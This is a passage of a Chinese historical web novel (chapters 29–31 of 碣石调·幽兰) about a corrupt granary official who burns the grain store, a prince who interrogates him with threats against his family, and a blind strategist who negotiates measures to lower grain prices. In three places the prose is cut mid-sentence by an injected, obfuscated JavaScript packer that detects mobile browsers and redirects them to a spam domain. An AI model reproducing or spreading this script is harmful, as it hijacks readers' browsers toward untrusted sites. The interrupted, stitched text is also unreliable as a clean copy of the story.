同样收到蜡丸密信的，还有布政使司仓大使赵存禄。其宅邸虽远不如知府衙门气派，但景致摆件，无不透着股谨慎的富足。 此刻，赵存禄愕然自梦中惊醒，“噌”地从床上弹坐起来，冷汗瞬间浸透了中衣。 那枚冰冷的蜡丸，就躺在枕边。 他分明记得睡前明明门窗紧闭，来人是如何将其悄无声息地放在这里的？！ 赵存禄连滚带爬下了床。他猛地推开窗，冰冷的夜风灌进来，院中寂静无声，连看门狗都未曾吠叫。 一股寒意从脚底板直冲天灵盖。这送信之人，来无影去无踪，若要取他性命，岂非易如反掌？ 赵存禄抖着手捡起蜡丸，凑到油灯下细看。 浑圆无痕，毫无标记。 哆哆嗦嗦捏碎蜡丸，他展开细小的纸条。只一眼，那几行字便如同钢针，狠狠扎进他的眼底心窝。 「粮价飞腾，民怨载道，恐生大变。官仓存粮，当速议开粜平抑之法，以安民心，靖地方。迟误生乱，尔等难辞其咎！」 字迹间那股无形的锋锐与威压，令赵存禄膝盖发软，一屁股跌坐在冰冷的砖地上。 开粜？平抑？ 这四字如同丧钟在他脑子里轰鸣。 完了！彻底完了！ 恐惧瞬间攫住了他，此事远比发现枕边多了个蜡丸更甚百倍。 官仓……那大同府的官仓里，如今哪还有多少存粮？！ 去年秋收后，他与柳守备等人沆瀣一气，借着“损耗”、“陈粮出仓”等名目，早已将大半官粮倒腾出去，换成沉甸甸的雪花银，落入了各自腰包和背后大人物的囊中。剩下的，也多是些掺了沙土的霉变次货，勉强能撑个场面。 原想着今年新粮入库前再想办法填补一二，谁曾想…… “粮道断了！粮道断了！粮道怎会断呢？！”赵存禄失魂落魄地喃喃自语，蜡丸的碎片被他无意识地攥在掌心，硌得生疼。 这突如其来的粮荒，如同晴天霹雳，彻底将他逼到了悬崖边上。 要开仓平抑粮价，他拿什么开？拿那些霉米沙土吗？ 一旦开仓，亏空之事立刻就会大白于天下！届时，别说乌纱帽，连这颗脑袋恐怕都保不住！ “柳守备！对，找柳守备！” 赵存禄仓皇地爬起来，急急披上外袍，就要往外冲，脚步却好似被冻住般僵在原地。 柳守备……早已因军械一案被燕王擒获。 眼见着最后的指望轰然崩塌，赵存禄浑身抖如筛糠，如困兽般在卧房来回踱步，绞尽脑汁编织着脱罪谎言。 门外忽然传来了管家急促而惶恐的通禀，将他从混乱的思绪中猛地拽出： “老爷！老爷！知府关大人……关大人来了！已在厅上等候！” 赵存禄眼前一黑，险些栽倒。 关文弼？他怎会选在此时来？！ 厅堂 关文弼背对着门口，负手而立，就着一盏昏暗的油灯端详着落在中堂那幅略显陈旧的《风荷图》上，仿佛在研究那墨色的浓淡。 赵存禄踉跄着进来，见到这沉静背影，心头更是七上八下，强挤笑容，声音发干：“府尊大人莅临，下官……下官有失远迎，罪过罪过。不知大人有何急务？” 关文弼这才缓缓转过身，脸上看不出喜怒，只抬手虚按了按，示意他不必多礼。 他踱到桌边，指尖无意识地划过冰凉的桌面，才慢悠悠开口：“存禄啊，外面这天，阴得厉害，风也紧。本府这心里，难免有些不踏实。听说……市面上的米价，很不太平？” 赵存禄心头一紧，连忙躬身：“是，是……天气作祟，路途不畅，也是没法子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533425|186437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的事。下官也正为此事忧心。” 他偷偷抬眼觑着关文弼的脸色，试图捕捉对方的暗示。至少，年前那份“心意”，关大人是收了的…… 或许，此番是为寻个“共识”而来？ 关文弼仿佛看穿了他的心思，轻轻“唔”了一声，目光仍旧落在别处，语气却带着几分莫名的意味： “忧心是好。只是这风若再紧下去，怕是门板都顶不住。官仓里的那些‘压舱石’，是该搬出来稳稳船了。再迟，船若翻了，你、我……只怕都难上岸。” 赵存禄额角渗出细汗，腰弯得更低，声音压得更轻，带着几分试探的亲昵： “大人明鉴！那‘压舱石’堆放年久，底下难免有些……朽烂。此刻搬动，恐污了水，反惹非议。依下官愚见，不若再等几日风向，或许……” “等风向？” 关文弼转过头，目光平静，却无端令王存禄倍感压力，“等来的，岂非是狂风巨浪？你我同在一条船上。平日里些微风浪，闭眼也就过去了。但这次，”他缓缓摇头，“这浪头，遮不住了。” 赵存禄脸色唰白，急声道：“大人！那递话的人……藏头露尾，不正说明其也有所顾忌吗？或许……或许他也怕声响太大，惊动了别处？我们只需……” “糊涂！”关文弼轻声打断，眼中闪过极淡的讥诮，“无凭无据，你怎知是谁递的话？即便有凭，你我又能去何处说道？惊动了别处……最先淹死的，必定是船上掌不住舵的人。” 他顿了顿，声音更低、更冷，“更何况，这北地的水，深得很。淹死一两个小吏，连个水花都溅不起来。” 最后这句话刺穿了赵存禄所有侥幸。他身体晃了晃，面如死灰，嘴唇哆嗦着，声若蚊蝇：“大人……那‘压舱石’……早已……早已不足数了……” 关文弼闻言，眼皮微跳，喉结轻滚，脸上却并无太多意外之色。 果然！ 关文弼掀了掀眼皮，看着眼前瘫软的赵存禄，眼中情绪复杂难辨。他不曾追问细节，也未斥责，将目光移向窗外浓重的夜色，仿佛自言自语般低声道： “既知不足，早该丈量清楚，报知破损。主动呈报，尚可说是风浪所致，竭力补救。若等水漫进来，被人发现……” 他收回目光，最后瞥了赵存禄一眼，“那便是监守不力，其罪……可就难说了。” 话音落下，关文弼不再停留，推门而出，融入冰冷的夜色之中。 留下赵存禄独自一人，瘫坐在冰冷的砖地上。 “淹死一两个小吏，连个水花都溅不起来。” 此话如同一道判词，在他脑中反复回响。 绝望之后，一个疯狂的念头如藤蔓般缠绕上他的心脏。 主动呈报？ 无异于自认死罪！关文弼最多是个失察之罪，而他赵存禄，就是那个被推出去顶罪的替死鬼。 不报？ 燕王遣来的人在身后虎视眈眈。而民怨一旦沸腾，官仓大开，亏空之事照样败露，他仍是死路一条。 横竖都是死…… 赵存禄蓦地抬起头，布满血丝的眼中，闪烁着近乎癫狂的光芒。 官仓没了，便是死无对证！ 大火一炬，万物皆为灰烬。事后，他大可将其推至“天灾”抑或是“刁民作乱”头上。 这个念头一旦滋生，便迅速吞噬了他所有的理智。 他枯坐至天大亮，终是下定了决心…… 30. 碣石调·幽兰（二十九） 大同府官仓的大火，烧得极旺。 起火原在深夜，火势本不甚大。偏生天公不作美，夜半骤起怪风，风助火势，火龙般腾起，撕破夜幕，贪婪舔舐着廒座与粮囤。 初时，城内更夫只当是寻常走水，锣声零落。待那火光冲天，热浪逼人，映得半壁城池如血，方才惊觉不妙。 救火的呼喝、百姓的惊啼、梁柱坍塌的轰鸣响彻一夜。 及至天明风歇，火势方颓，只余下遍地焦炭残垣，青烟混着焦糊的谷物气味，弥漫不散，刺人口鼻。 关文弼立于废墟之前，官袍下摆沾满灰烬泥污，面容铁青，牙关紧咬。惊怒之后，是彻骨的寒意。 他怒而转身，声音因一夜呼喝与烟熏而嘶哑破裂，却带着不容错辨的杀意： “赵存禄何在？！速将其一家老小，尽数锁拿，即刻押赴苍梧镇燕王别院！一刻不得延误！” 亲兵领命疾去。 不过半日，赵存禄及试图趁乱遁逃的家眷车队，便于官道被截获。哭嚎咒骂声被堵了回去，一行十数口，皆枷锁缠身，狼狈不堪，被连夜押往苍梧。 苍梧镇，燕王别院。 暮色深沉，门廊下的气死风灯摇曳着昏黄的光。 关文弼风尘仆仆，亲自押人抵达。却被告知，燕王竟不在府中。 亲卫一身玄甲，按刀立于阶上，面色沉肃如水，挡住了去路：“王爷已离府，归期未定。关大人有何事，可先行告知末将，待王爷归来，定向王爷禀明。” 关文弼一怔，心头那根紧绷的弦近乎断裂。这滔天大事，竟正撞上王爷不在？ 他抬眼望向院内深处，楼阁隐于黑暗，唯有水榭方向透出些许微弱烛光。 关文弼喉头滚动，将满腹焦灼硬生生压下，对亲卫拱手，声音干涩：“如此……便有劳将军。此人犯乃官仓纵火案首逆家眷，罪证确凿，下官不敢擅专，特押解而来，听候王爷发落。” 他顿了顿，补充道：“官仓……已尽毁矣。” 亲卫闻言，面色更沉，点了个小将低声吩咐几句，随即重重点头：“末将知晓了。人，暂且收押。关大人可先回府衙稳定局面，一切，待王爷归来定夺。” 沉重的铁门在关文弼身后合拢，将内里的光影与外面的夜色彻底隔绝。 他站立片刻，回望那森严别院，只觉那飞檐斗拱在夜色中如蛰伏的巨兽，沉默地吞噬了这场惊天之变，却未激起半分涟漪。 寒意，自脚底攀爬而上。 此时，周放离身处北城陋巷。 污水横流，饥民面有菜色，哀鸿低啜之声不绝于耳。他玄氅之下拳心紧握，额角青筋隐现，正强抑着目睹这人间惨象所带来的暴戾与焦灼。 一名亲卫疾步趋近，甲叶碰撞声在死寂中格外刺耳。 士卒压低声音，急促将大同官仓尽毁、赵存禄纵火潜逃、家眷已押至别院之事一一禀明。 “好…好一个赵存禄！好一群蛀虫！” 周放离眸中霎时血丝遍布，戾气有如实质，肩胛旧伤亦随之灼痛。他攥住腰间佩剑，指节因用力而爆响，几乎要从齿缝里碾出军令： “点齐亲卫，封锁大同府衙！凡涉事胥吏，给本王——” “王爷。” 一声细弱却清晰的童音打断了他。 衣着素净的云娘不知何时靠近，小手高高举着一封的信笺，仰头望着他，眼中虽有惧意，却坚持着没有退缩。 “先生…先生让给的。” 周放离杀气一滞，垂眸盯住那信。片刻，他猛地抽过，撕开封口。 纸上字迹清瘦料峭，扑面而来—— 「王爷欲以何名目兴兵？屠戮仓吏，易如反掌，然后患无穷。民见王爷之怒，不见王爷之德，更不见粮食。师出有名，方有转圜。 世间诸事，皆有代价。至于粮价之事，在下有一计，不知王爷可愿承些许代价？」 字字如冰水，泼在他滔天的怒焰之上。 “师出有名……”周放离反复咀嚼这四个字，胸膛剧烈起伏，那近乎焚毁理智的狂怒渐息。 他抬首，锐利目光掠过破败的屋舍，掠过面黄肌瘦的百姓，最终落回那送信的女童身上。 良久，他喉间滚出一声极低的笑，似自嘲，又似洞悉了什么。 “回府。”周放离的声音恢复冷沉，却比方才的暴怒更教人胆寒。 周放离径直去了西院刑房。 赵存禄被铁链锁在刑架之上，身上的官袍被撕扯得褴褛，脸上涕泪与污血混作一团。 家眷的哭嚎声隐约从隔壁传来，更令他抖如筛糠。 周放离并未亲执刑具。他站在丈许之外，玄氅未脱，带着一身从北城沾染的寒意与尘嚣。 烛光将他的身影拉得极长，投在冰冷湿滑的墙壁上，如同索命的修罗。 “王…王爷……饶命……饶命啊……”赵存禄的求饶声断断续续，气若游丝。 周放离沉默着。他幽深的目光一寸寸刮过赵存禄的皮肉，仿佛要剔出他那颗肮脏腐朽的心肝。 良久，他才开口，声音低沉平稳，却字字带着千钧之力，砸在死寂的刑房里： “本王给你两个选择。 一，将如何盗卖官粮、受谁指使、银钱流向何处，一五一十，写个清清楚楚。你的家眷，可留全尸，葬于乱坟岗，不至曝尸荒野，为野狗分食。” 赵存禄瞳孔紧缩。 “二，”周放离继续道，“你尽可继续硬扛，或是胡言攀咬。本王会让你亲眼看着你的妻妾女儿，是如何被送入最下等的军营犒赏三军。你的子侄，是如何被阉割，发往边关为奴，世代不得解脱。” 他微微前倾，烛光在他眼底跳动，映出一片残酷的冰原。 赵存禄发出不成调的呜咽，下身传来恶臭，竟是被吓得失禁。 “我说！我说！我全都说！是…是柳守备牵线…具体的，小的…小的职位低微，实在接触不到…对方从不露面，只认信物和口令…银子…大部分银子都流向了京城…粮食的去向，小的真的不知啊。王爷！”他语无伦次，将所知所闻和盘托出。 周放离面无表情地听着，直至赵存禄力竭瘫软，才缓缓直起身。 他接过供状，扫了一眼模糊不清的字眼，脸色沉得能滴出水来。 线索到了这里，好似清晰，却又断得恰到好处。 “画押。” 赵存禄被拖下来，哆嗦着按下手印。 周放离将供状卷起，收入袖中。看也未再看那堆烂泥一眼，转身向外走去。 “王爷……王爷饶命啊王爷！您答应……”赵存禄嘶喊着。 周放离的脚步在门口顿住，并未回头，只丢下一句： “本王只应允，留他们全尸。” 铁门沉重合拢，隔绝了身后的绝望嚎叫。 出了刑房，周放离洗净手，换下外袍，独坐于水榭之中。案上，是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533426|186437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那卷沉重的供状，旁边，放着若嵁那封字迹料峭的信。 烛火摇曳。 他先是盯着供状，眸中寒芒闪烁。线索指向京城，而这背后之人却看不真切。但其中有谁的手笔，却不难猜测。 良久，他的目光移向信笺。 指尖划过“师出有名，方有转圜”几字。 他闭上眼，北城饥民菜色的面容、若嵁沉静覆纱的模样、裴昭雪临行前忧切的眼神交替闪过。 万幸有那盲眼琴师及时递来的信，否则，后果难料。 周放离犹恨阴诡之士。 大抵因谋算一事，便是权衡利弊。而向来是位高者尊，位低者卑。战场凶险，生命垂暮，却从不看位高位低。 谋士的权衡，他从未懂得。因此，他不知，这是巧合？是算计？还是……她当真窥破了他暴戾下的某些软肋？ 北城若嵁居处 陋室门窗依旧吱呀，却比往日更添几分寒意。 云娘缩着肩膀溜进门，小心地将门栓合上，仿佛这样就能将外头的饥饿与窥探都挡在外面。 她走到墙角那堆干草破席旁，却不敢立刻坐下，只望着琴台边那道沉静的青色背影。 若嵁并未抚琴，只是面窗而坐，似在聆听巷子里残余的风声和死寂。 “先生。”云娘小声开口，声音略带急促，“信…送到了。” 盲杖轻轻点了一下地。若嵁并未回头，只道：“他可看了？” “看了。”云娘用力点头，想起对方看不见，忙又补充，“看了好久。一开始，很吓人，像要杀人……后来，就好了。” 她努力回想着那个高大王爷最后的样子，试图找到合适的词：“他最后……笑了一下。不像高兴，但……没那么可怕了。他说……‘回府’。” 室内陷入短暂的沉默，只有油灯芯子偶尔爆开的细微噼啪声。 云娘屏息等着，心里有些忐忑，不知自己这话说得到底对不对。 半晌，若嵁极轻地吁出一口气，紧绷的肩线几不可察地松弛下来。她朝着云娘的方向微微侧首，覆纱的眼睑似乎动了一下。 “做得很好。”她的声音依旧平淡，却比方才多了丝不易察觉的活气，“去灶台边暖和一下吧，锅里还温着半碗粥。” 云娘眼眸一亮，那点不安瞬间被这点实实在在的暖意驱散了。她小声应了，蹑手蹑脚地走到灶边，捧起那温热的粗陶碗，小口小口地喝起来。 若嵁仍面窗而坐，指尖无意识地在膝上轻轻敲击着。 今晨，她前往醉忘忧抚琴，大同府官仓失火之事已隐隐有一行商户私下议论过。 粮道断裂、粮价飞涨，开粜平抑不过是顺理成章之事。这火来得不早不晚，其中蹊跷自然亦不必明说。 然而，军械一案既已告破，已无盘桓之理。滞留于苍梧，究竟是何缘由？此惑暂时无解，但他并非坐以待毙之辈，得闻此讯息是何反应，也在预料之中。 天子一怒，伏尸百万；匹夫一怒，血溅三尺。权势愈大，牵连愈大。 若嵁本以为，王府的那位长史或能抑住这位脾气暴躁的王爷。熟料，自云娘口中得知周放离已来了北城，她便另有算计。 不过，字条传信仅为提醒。而若嵁的真正意图，是想与周放离以平抑粮价之策做个交易。 粮价一日三涨，官仓失火无存。若嵁听着窗外的哀戚悲吟、怨憎别离，指尖流泻的一曲《大胡笳》逐渐远扬。 31. 碣石调·幽兰（三十） 乍暖还寒，阴雨连绵。 本就身受重创，又疏于看顾自身的若嵁终是伤了一场风寒。 半夜她起了高热，云娘贴心照看半宿，及至天蒙蒙亮，身体热度降下，才堪堪睡下。 高烧中的若嵁梦魇不断。光怪陆离的梦境中，闪过一幕幕或习字、或阅览、或品茗、或抚琴的孤寂画面…… 而当云娘的手贴上若嵁的额头，她的梦境也霎时变成一位和蔼老者轻抚其长发，对其谆谆教诲。 身体被微微推动，若嵁自梦中惊醒。白纱下的眼珠滚动，鼻尖却提前嗅到皮革混杂着冷铁锈味。 “谁？！” “王爷有令。请若先生过府一叙。”燕王府暗卫的声音冷冷响起。 闻言，若嵁狂跳的心脏逐渐平稳。 “先…先生病了。” 蜷在床下的云娘却被这声惊呼吵醒。她一面胆怯地看向暗卫，一面强撑着拦在若嵁身前。 暗卫不为所动。 “王爷邀约。在下不敢推辞，大人请回避片刻，容在下梳洗。” 若嵁不敢耽搁。安抚住惊惶不安的云娘，又层层叠叠地穿上厚实衣裳，忙不迭跟着暗卫在薄雾中前往燕王别院。 一路上，若嵁强抑喉间的痒意。 行至水榭，寒气浸骨，她再也支撑不住，咳得撕心裂肺，仿佛要将五脏六腑都咳出来一般。 周放离闻声，眉头紧皱。探出右手，一把揽过身旁的大氅，兜头罩了上去。 大氅带着暖意和周放离身上凛冽的香气当头罩下，隔绝了水榭的寒气，却也堵住了若嵁急促的呼吸。 她挣扎着将大氅扯下些许，露出苍白的下颌和因剧烈咳嗽而泛红的脖颈。 而周放离已收回手，指尖不经意地在衣袍上蹭了蹭。 他背过身，望着薄雾笼罩的湖面，语气比这晨雾更冷： “本王不同病弱之人计较。但，没有下次！” 若嵁竭力压下喉间翻涌的腥甜，将身子往那件过于宽大的大氅里缩了缩。 “劳王爷久等……不知王爷可是同意与在下这场交易？”声音沙哑，却已勉强维持平稳。 周放离并未回头，语气里是天然的居高临下：“不妨，先说说你的代价。” 若嵁暂未应答。只低敛眼帘，清了清嗓子，拱手平和道： “王爷宽宏大量，且容在下擅言……” 她语速缓慢，非是拿乔，而是需凝聚因高热而涣散的精神，字斟句酌。 周放离轻嗤一声，静待下文。 “王爷麾下能人辈出。裴长史经纬之才，料理军政，井井有条，令人钦佩。” 周放离眸光锐利，并未动容，只淡淡道：“你若仅此微末伎俩，不若归去，抚琴自娱。” 他果然不耐烦虚礼。也好。 若嵁续道：“然，善战者未必善理财，善谋国者未必善谋市。裴长史之长，在于阳谋正道，在于稳定大局。但有些事，譬如……今时今日之粮价，” 她略作停顿，加重尾音“粮价”二字，“便需行非常之法。王爷身边需要有人游走于灰色之间，做些……裴长史不便出面之事。” 若嵁这话，点到即止。 周放离略有沉吟，不待深究，便听得那嘶哑嗓音再次出声。 “平抑粮价，无非‘开源’、‘节流’、‘震慑’三策。官仓已毁，‘开源’暂缺，当以‘节流’与‘震慑’为主。可即刻颁布禁酒令、限购令，严查囤积居奇，此为‘节流’。同时，王爷可派亲信，持赵存禄供状，密会城中大粮商……” 若嵁一一列举，条陈执行之策。 周放离有所触动，语气依旧审慎：“你可知，那些粮商背后，水有多深？” 若嵁微勾唇角，向其倾身，声音压低，字字清晰传入耳中。 “水再深，终有源头。王爷之志，岂止于苍梧、大同？您真正的对手，从来不在这一城一池，而在……京都府，皇城之中。” “啪”—— 茶盏重重顿在案上，周放离眼中霎时腾起怒火：“放肆！彼辈竟妄谈如此大逆不道之言！” 警惕、否认、愤怒……这般反应全然在若嵁的预料之中。但周放离显然是动了真火。 这怒意中，有七分是臣子不可妄议君上的忌讳，却似乎……还有三分被戳中心事的犹疑？ 他竟在犹豫。这凶名赫赫的“阎王”，便只待引颈就戮不成？ 若嵁自忖失策，后续不宜步步紧逼。 但这倒未必全然是坏事。至少证明她所言非虚，且切中要害。此刻要辩解或退缩，前功尽弃。不如顺势而下，徐徐图之。 若嵁起身，长揖一礼，语气诚恳而不失镇定：“在下失言，王爷息怒。然，在下所言商贾之事，皆为实情。要行此策，需与三教九流打交道，若无一名分凭证，只怕……寸步难行。” 周放离怒气未消，但心神显然被当下民生之事牵绊住，冷嗤道：“原是来求官的。你想要何官职？” 若嵁从容应对：“在下不求官。只请王爷赐下一道手令，允在下以王府行走之名，于大同府内查验与粮、盐、布匹等民生相关的商贾账目，遇阻挠者，可凭手令暂行拘押讯问。 周放离背影未动，鼻间逸出一声不置可否的轻哼，示意她继续。 若嵁深吸一口气，压下胸腔间强抑咳嗽的闷痛，继续道： “其此，烦请王爷拨调两名可靠亲兵，不必高手，只需令行禁止即可。在下目不能视，行事多有不便，需人奔走护卫。” 此言半真半假。她确实需要人手，但更深层的用意，是安周放离的心。将其耳目放在身边，以示自己并无不可告人之秘。同时，也为试探，试探这位主君的气度如何。 周放离的目光凝滞在她裹在大氅里，而更显单薄的身形上，以及她那双被白纱遮得严严实实的眼眸。 眼神幽深，难辨情绪。 若嵁感知到他的注视，覆纱下的眼睑微动，掌心未汗，几乎都要怀疑自己矫饰盲者可是漏了甚破绽。她稳住身形，勉力让自己的声音显得轻描淡写： “至于代价……在下闲来无事，喜闻旧事。听闻王府别院藏书阁中，有诸多地方志、前朝轶闻手札。若王爷允准，望能赐一自由出入之权，容在下携小童云娘，于调理粮价琐事之余，借阅消遣。” 北城陋室遍地寻不到可明证身份的文牒。故，若嵁曾托付廖怀去县衙调取文簿，亦不见踪影。想来最有可能的去处，便是在这别院之中。 将查探自己真正意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533427|186437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 图，包裹在“喜闻旧事”、“借阅消遣”的文人雅好之下。较于前两条关乎权柄的要求，这一条显得无足轻重，周放离应当不会拒绝。 水榭内陷入短暂的沉寂，只余窗外细微的雨声和若嵁尽力压抑的急促呼吸声。 前两个要求，尚在周放离的预料之中而这第三个要求……藏书阁？地方志？前朝轶闻？ 一个刚刚提出要手握稽查商贾之权、行事需亲兵护卫的“谋士”，转眼却说自己只想看书消遣？ 荒谬。 然而，正是这种荒谬，反而让周放离一时难以看透。是故弄玄虚？还是此人当真有些难以常理度量的癖好？ 良久，周放离嘴角勾起一抹意味不明的弧度，语气听不出喜怒： “准。” …… 甫一出别院，若嵁在风中打了个寒噤。下意识拢了拢身上的大氅，随即意识到失礼，忙要脱下归还。 门口的府卫却后退一步，垂首避让，声音冷硬无波：“王爷赏赐，未有退回之理。” 大氅上凛冽的香气与残留的体温包裹着她，在这凄风苦雨的清晨，竟成了唯一的热源。若嵁不再推辞，只将氅衣拢紧，哑声道：“有劳。” 正欲探杖前行，却听身后脚步声起，两道身影自水榭旁的阴影中默然转出，一左一右停在她身侧丈许之地。 两人呼吸交错，若嵁却清晰觉察到二人身上不容忽视的狠厉与煞气。 “奉王爷令，此后听凭先生差遣。” 二人异口同声，虽称“听凭差遣”，语气中却并无多少暖意。 若嵁心下明了，这便是周放离拨给她的“可靠亲兵”了。 “有劳二位壮士。”她颔首，声音因风寒而愈发沙哑。 三人一行，穿过尚笼罩在薄雾中的苍梧镇街巷。一人步履沉重，甲叶微响，引得早起的零星行人侧目。另一人却似融入了雾气里，若非若嵁耳力超凡，几乎察觉不到他的存在。 及至北城那片低矮破败的屋舍区域，污水横流的气息愈发浓重，夹杂着饥民压抑的呻吟呜咽。 行至那扇吱呀作响的木门前，未等若嵁抬手，披甲护卫已抢先一步拍向门板，力道之大，震得门框上的灰尘簌簌落下。 门内传来云娘惊怯的声音：“谁……谁呀？” 木门吱呀一声打开一条缝，云娘的小脸探出来，先是看到若嵁，松了口气，随即又被她身后二人吓得一缩。 “先……先生，他们……” “无妨，你如往常行事。今日的字可习了？” 云娘乖巧应“是”。 若嵁拄杖入门。身后二人随之踏入，本就狭小的陋室顿时显得更加逼仄。 若嵁解下身上大氅，递向云娘：“拿去收好。”随即摸索着走到琴台边坐下，疲惫地阖上覆纱的眼，缓了口气，才道：“陋室寒酸，二位不必时时候于此。” 便是她不说，那二人也无盘桓之意。毕竟在场无人不知他们来此的用意，监视多过护卫。 窗外，雨声复起，寒意更重。 这方寸陋室，因着两位不速之客的到来，仿佛也卷入了一场更深的漩涡之中。而她所求的答案，那尘封于记忆中的往事，似乎也在这氤氲的寒气里，露出了模糊的轮廓。 32. 碣石调·幽兰（三十一） “云……徵。” 廖怀撂下笔，皱眉看向云娘，撇嘴道：“你家先生给你取的这名字，风雅是风雅，只是笔画繁冗，习来不易。” 云徵眼眸骤然一亮，轻咬着笔头小声哀求：“先生近几日不得闲，有劳公子继续教我。” “难怪连日不见她踪影。”廖怀漫不经心地环视这间陋室—— 墙角仍堆着干草破席，案几上却齐整叠了两套新裁的粗布衣裳，旁侧还置了只小药罐，透着几分不同往日的生计。 最惹眼的，是门外檐下如松柏般侍立的两名玄甲侍卫，虽静默无言，甲胄上流转的寒光却自生威仪。 那甲胄制式…… 廖怀正凝神欲辨，云徵顺着他的目光望去，怯怯地压低声音： “先生……先生如今可了不得。得了燕王爷手令，正替官府稽查账目呢！前日还有米铺掌柜携礼礼求见，都被那两位军爷挡在了外头。” 小姑娘语带欣羡，眸底却藏着一丝不易察觉的惶惑。 先生已许久未抚琴了。 廖怀眉峰不动声色地一挑。 “查账？”他心下微诧，不过数日未见，霈然兄竟有这番际遇？ 略作沉吟，廖怀收回目光，重新看向纸上那歪歪扭扭的“徵”字，似有所感，又似一无所觉。他轻叹一声，重又提笔： “罢，罢。我再写一遍，你看仔细。你家先生……这一时半会，怕是暂时顾不得你了。” 窗外春阳斜照，光线漫过云徵专注的侧脸，也掠过门外侍卫冰冷的肩甲。明暗交错之间，寂静底下，暗流无声涌动。 及至暮色四合，夕阳的余晖将苍梧镇的屋檐巷陌染成一片昏黄。陋室的木门吱呀开启，带进一缕挟着尘烟的晚风。 若嵁拄杖而立，身影在暮色中更显清癯。玄色大氅裹着单薄的身形，与陋室的贫寒格格不入，反衬得她的面色愈发苍白。 “先生！”云徵弃笔相迎，小心搀住她的手臂。 若嵁微微颔首，覆纱的脸转向屋内，似在感知气息。“廖公子可还在此？” “刚走不久。说要去筹粮。”云徵忙答，又补充道，“公子今日教了我好些字！” 若嵁轻应一声，由她扶着在琴台前落座。盲杖倚在脚边，素手无意识地轻按太阳穴。 “先生，药煎好了，正在灶上温着。”云徵说着，便要起身去端。 “且慢。”若嵁唤住她，声音带着奔波后的沙哑，“除了廖公子，今日……可有人来过？” “不曾。”云徵摇了摇头，俄而抿唇道，“先生，查账……还顺利吗？那些大掌柜，可曾为难你？” 若嵁唇角牵起极淡的弧度，并非喜悦，倒似是嘲弄。 “为难？”她淡淡道，“今时为刀俎，彼为鱼肉。何来为难之说？” 她无意多言，转而问道：“我让你留意巷口粮铺的价钱，今日行情如何？” 云徵立刻回道：“降了！早上的粟米还是八十文一斗，晌午就七十五文了，方才我去看，挂的牌子是七十文。” 若嵁静静听着，覆纱下的面容看不出情绪。这降幅，尚在意料之中，却远未达到平抑的预期。 那些粮商掌柜，表面恭顺，口中却满是“路途断绝”、“存粮见底”的哭诉，仿佛她再逼下去，明日他们便要关门大吉，与百姓一同饿死。 这番唱念做打，无非是想博取同情，试探她的底线，也为日后可能的反弹埋下伏笔。 他们稍降粮价的举措，与其说是屈从于王府威压，倒不如说是带着怨气的谨慎妥协。他们仍在观望，观望王府的决心，也观望她这把“刀”，究竟能锋利到几时。 “先生使的什么法子？他们怎就肯降价了？”云徵按捺不住好奇。 若嵁沉默片刻，方缓缓道：“不过是晓以利害。”她说得轻描淡写，背后的博弈却绝非如此简单。 这几日，她持燕王周放离的手令，由那两名亲兵“护卫”，几乎踏遍了大同府内有头脸的粮商门槛。 其中过程绝非云徵想象的那般顺利。 有人客客气气，满口苦衷，搬出“路途艰难”、“成本高昂”推诿；有人绵里藏针，话里话外打探她的底细和王府的真实意图；更有人背后势力盘根错节，态度倨傲，隐隐带着威胁。 然而，但当她使派王府亲卫，将赵存禄供状中所涉相关条目，略诵一二。其后稍加暗示，再点明燕王严查囤积居奇的决心后，那些或圆滑或强硬的面孔，终究是变了颜色。 燕王的雷霆之威，是悬在他们头顶的利剑。主动平抑，尚可保全；若待燕王动手，便是人财两空。 这降价，不过权衡而已。 若嵁自是心知肚明，这七十文一斗的粟米，于北城饥民而言，仍是天价。此番作为，不过杯水车薪。更大的阻力，恐怕还在后头。那些真正掌控着粮食命脉，根系深植京都府的巨贾，尚未真正发力。 “去把药端来。”若嵁结束短暂沉思，对云徵道。 云徵应声而去。 若嵁独自坐在渐浓的暮色里，指尖轻轻划过冰凉的琴弦，未成曲调。 她接过药盏一饮而尽。浓重的苦味在舌根蔓延，勾起了心底一丝隐而不察的恻隐。 震慑之法虽能奏效，但这般拉锯，终是权宜之计。权贵富商，自有钱财渠道获取粮食。而今粮道断裂、粮价飞腾，困住的唯有这一城百姓。 正凝神间，门外骤起喧嚣，妇孺哀泣与男子呵斥声由远及近，撕裂了满室寂静。 “行行好！行行好！他们都说先生家有粮哩！一捧！只要一捧！娃娃快饿死了啊——”妇人嘶哑的哭求声格外刺耳。 “退开！此处岂容尔等放肆？！粮价已降了，还会再降！”燕王府亲兵虽出身行伍，亦知民生多艰，呵斥之声竟带了几分不易察觉的滞涩。 